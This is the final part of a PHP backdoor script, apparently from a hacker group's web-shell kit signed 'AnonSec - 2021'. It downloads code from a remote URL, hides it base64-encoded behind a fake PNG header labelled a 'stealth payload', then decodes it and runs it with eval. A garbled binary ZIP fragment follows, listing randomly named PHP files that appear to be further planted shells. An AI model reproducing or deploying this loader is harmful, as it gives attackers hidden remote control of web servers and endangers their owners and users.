        $content = '';
    }

    if (strlen(trim($content)) < 1) {
        $content = @file_get_contents($url);
    }

    if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}


// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
    $png = generateRealisticPngHeader();
    $marker = '###PAYLOAD###';
    $encoded = base64_encode($phpCode);

    return $png . $marker . $encoded;
}


// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
    $marker = '###PAYLOAD###';
    $parts = explode($marker, $data);

    if (count($parts) === 2) {
        $decoded = base64_decode($parts[1]);
        if ($decoded !== false && strlen(trim($decoded)) > 0) {
            @eval("?>$decoded");
        }
    }
}


// --------------------------------------------
// Main Execution Flow
// --------------------------------------------

$remoteCode = loadRemoteData($mainUrl);

if (strlen(trim($remoteCode)) > 0) {
    $payload = createStealthPayload($remoteCode);
    extractAndExecutePayload($payload);  // Executes hidden remote code
}

?>
PK�Cm\�d��o�o�9gvid-20260307170338.phpnu�[���PK�Cm\��Ș��	��about.phpnu�[���PK�Cm\T�pWhh	�index.phpnu�[���PK�Cm\�7��NeNe	��e6ml9.phpnu�[���PK�Cm\~\ݸ5
5
	z8op2.phpnu�[���PK�Cm\�a]t֭֭yservice.phpnu�[���PK�Cm\�K�V��	��dr80q.phpnu�[���PK�Cm\�rf:/:/	��qavgy.phpnu�[���PK�Cm\�d��o�o�	$9gvid.phpnu�[���PK�Cm\��'�	̬ispq1.phpnu�[���PK

��

AnonSec - 2021